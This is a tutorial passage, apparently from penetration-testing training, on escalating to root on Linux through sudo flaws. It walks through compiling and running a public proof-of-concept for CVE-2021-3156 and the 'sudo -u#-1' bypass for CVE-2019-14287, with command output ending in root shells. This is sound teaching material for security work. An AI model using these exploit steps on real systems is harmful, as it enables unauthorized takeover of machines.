**Sudo**

The program sudo is used under UNIX operating systems like Linux or macOS to start processes with the rights of another user. In most cases, commands are executed that are only available to administrators. It serves as an additional layer of security or a safeguard to prevent the system and its contents from being damaged by unauthorized users. The /etc/sudoers file specifies which users or groups are allowed to run specific programs and with what privileges.

cry0l1t3@nix02:~$ sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s\*$/d'

[sudo] password for cry0l1t3: \*\*\*\*\*\*\*\*\*\*

Defaults env\_reset

Defaults mail\_badpass

Defaults secure\_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

Defaults use\_pty

root ALL=(ALL:ALL) ALL

%admin ALL=(ALL) ALL

%sudo ALL=(ALL:ALL) ALL

cry0l1t3 ALL=(ALL) /usr/bin/id

@includedir /etc/sudoers.d

One of the latest vulnerabilities for sudo carries the CVE-2021-3156 and is based on a heap-based buffer overflow vulnerability. This affected the sudo versions:

* 1.8.31 - Ubuntu 20.04
* 1.8.27 - Debian 10
* 1.9.2 - Fedora 33
* and others

To find out the version of sudo, the following command is sufficient:

cry0l1t3@nix02:~$ sudo -V | head -n1

Sudo version 1.8.31

The interesting thing about this vulnerability was that it had been present for over ten years until it was discovered. There is also a public [Proof-Of-Concept](https://github.com/blasty/CVE-2021-3156) that can be used for this. We can either download this to a copy of the target system we have created or, if we have an internet connection, to the target system itself.

cry0l1t3@nix02:~$ git clone https://github.com/blasty/CVE-2021-3156.git

cry0l1t3@nix02:~$ cd CVE-2021-3156

cry0l1t3@nix02:~$ make

rm -rf libnss\_X

mkdir libnss\_X

gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c

gcc -fPIC -shared -o 'libnss\_X/P0P\_SH3LLZ\_ .so.2' lib.c

When running the exploit, we can be shown a list that will list all available versions of the operating systems that may be affected by this vulnerability.

cry0l1t3@nix02:~$ ./sudo-hax-me-a-sandwich

\*\* CVE-2021-3156 PoC by blasty <peter@haxx.in>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:

------------------------------------------------------------

0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27

1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31

2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

------------------------------------------------------------

manual mode:

./sudo-hax-me-a-sandwich <smash\_len\_a> <smash\_len\_b> <null\_stomp\_len> <lc\_all\_len>

We can find out which version of the operating system we are dealing with using the following command:

cry0l1t3@nix02:~$ cat /etc/lsb-release

DISTRIB\_ID=Ubuntu

DISTRIB\_RELEASE=20.04

DISTRIB\_CODENAME=focal

DISTRIB\_DESCRIPTION="Ubuntu 20.04.1 LTS"

Next, we specify the respective ID for the version operating system and run the exploit with our payload.

cry0l1t3@nix02:~$ ./sudo-hax-me-a-sandwich 1

\*\* CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)

\*\* pray for your rootshell.. \*\*

# id

uid=0(root) gid=0(root) groups=0(root)

**Sudo Policy Bypass**

Another vulnerability was found in 2019 that affected all versions below 1.8.28, which allowed privileges to escalate even with a simple command. This vulnerability has the [CVE-2019-14287](https://www.sudo.ws/security/advisories/minus_1_uid/) and requires only a single prerequisite. It had to allow a user in the /etc/sudoers file to execute a specific command.

cry0l1t3@nix02:~$ sudo -l

[sudo] password for cry0l1t3: \*\*\*\*\*\*\*\*\*\*

User cry0l1t3 may run the following commands on Penny:

ALL=(ALL) /usr/bin/id

In fact, Sudo also allows commands with specific user IDs to be executed, which executes the command with the user's privileges carrying the specified ID. The ID of the specific user can be read from the /etc/passwd file.

cry0l1t3@nix02:~$ cat /etc/passwd | grep cry0l1t3

cry0l1t3:x:1005:1005:cry0l1t3,,,:/home/cry0l1t3:/bin/bash

Thus the ID for the user cry0l1t3 would be 1005. If a negative ID (-1) is entered at sudo, this results in processing the ID 0, which only the root has. This, therefore, led to the immediate root shell.

cry0l1t3@nix02:~$ sudo -u#-1 id

root@nix02:/home/cry0l1t3# id

uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)